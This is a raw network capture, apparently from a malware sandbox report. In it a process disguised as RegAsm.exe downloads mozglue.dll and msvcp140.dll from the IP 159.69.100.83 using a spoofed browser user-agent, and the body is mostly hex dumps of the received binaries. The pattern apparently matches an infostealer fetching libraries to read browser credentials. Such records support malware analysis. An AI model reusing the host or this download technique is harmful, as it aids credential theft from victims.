2024-09-15 17:37:13 UTC	16384	IN	Data Raw: 89 f8 f7 65 c8 89 55 84 89 85 0c fd ff ff 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff ff 89 f0 Data Ascii: eUeLXee0@eeeue0UEeeUeee $
2024-09-15 17:37:13 UTC	16384	IN	Data Raw: 4f 34 89 4d e4 8b 4f 30 89 4d d4 8b 4f 2c 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 80 45 e8 Data Ascii: O4MO0MO,MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEEE
2024-09-15 17:37:13 UTC	16384	IN	Data Raw: ee 1a 01 c2 89 95 08 ff ff ff 8b bd 2c ff ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 d6 89 b5 Data Ascii: ,0<48%8A)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49733	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:14 UTC	244	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:14 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:14 GMT Content-Type: application/octet-stream Content-Length: 608080 Connection: close Last-Modified: Sunday, 15-Sep-2024 17:37:14 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-15 17:37:14 UTC	16124	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-09-15 17:37:14 UTC	16384	IN	Data Raw: 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 31 ff ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 00 c7 46 Data Ascii: #H1A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNPF
2024-09-15 17:37:15 UTC	16384	IN	Data Raw: 45 a8 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d 3c ff ff Data Ascii: EPzEPWxP1`PHP$,FM1R'^_[]00L9tc<
2024-09-15 17:37:15 UTC	16384	IN	Data Raw: c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 b9 1f 85 Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}L
2024-09-15 17:37:15 UTC	16384	IN	Data Raw: 04 89 45 f0 8b 06 8b 4e 04 85 c9 0f 8e b3 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 89 06 8b Data Ascii: EN1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSRE
2024-09-15 17:37:15 UTC	16384	IN	Data Raw: ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc cc cc cc Data Ascii: H) sH) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) s
2024-09-15 17:37:15 UTC	16384	IN	Data Raw: 85 db 0f 85 ad 07 00 00 c7 44 24 30 00 00 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 34 83 f9 Data Ascii: D$0D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$4
2024-09-15 17:37:15 UTC	16384	IN	Data Raw: 08 00 00 00 85 ff 0f 84 0b 06 00 00 83 fb 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 3c 24 89 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3<$
2024-09-15 17:37:15 UTC	16384	IN	Data Raw: fe 83 e0 01 09 c8 89 42 04 89 13 8d 44 24 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 8b 10 83 Data Ascii: BD$XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKN
2024-09-15 17:37:15 UTC	16384	IN	Data Raw: 00 00 00 0f 44 4c 24 04 31 db 39 c1 0f 97 c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 48 85 c0 Data Ascii: DL$19rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49734	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:16 UTC	245	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:16 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:16 GMT Content-Type: application/octet-stream Content-Length: 450024 Connection: close Last-Modified: Sunday, 15-Sep-2024 17:37:16 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-15 17:37:16 UTC	16124	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-09-15 17:37:16 UTC	16384	IN	Data Raw: 2d 00 62 00 61 00 00 00 68 00 72 00 2d 00 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 6d 00 72 Data Ascii: -bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnmr
2024-09-15 17:37:16 UTC	16384	IN	Data Raw: 04 00 00 00 04 8b 00 10 18 8b 00 10 78 8a 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff Data Ascii: x{\|L@DX}0}}M@4}0}}4M@tXM}0}}XM
2024-09-15 17:37:16 UTC	16384	IN	Data Raw: 0f bf 45 fc d9 5d e8 d9 45 10 d9 45 e8 d9 c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 45 fc dd Data Ascii: E]EEE]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]E
2024-09-15 17:37:16 UTC	16384	IN	Data Raw: 0f b7 06 83 f8 61 74 05 83 f8 41 75 0f 03 f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 0b 83 c0 Data Ascii: atAuf;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90ut
2024-09-15 17:37:16 UTC	16384	IN	Data Raw: 03 8d 41 1c c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 cc 53 57 Data Ascii: AUjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jjSW
2024-09-15 17:37:16 UTC	16384	IN	Data Raw: 89 45 fc 89 5f 10 e8 bd 54 02 00 8b 45 f8 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e 01 51 e8 Data Ascii: E_TEr@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WENQ
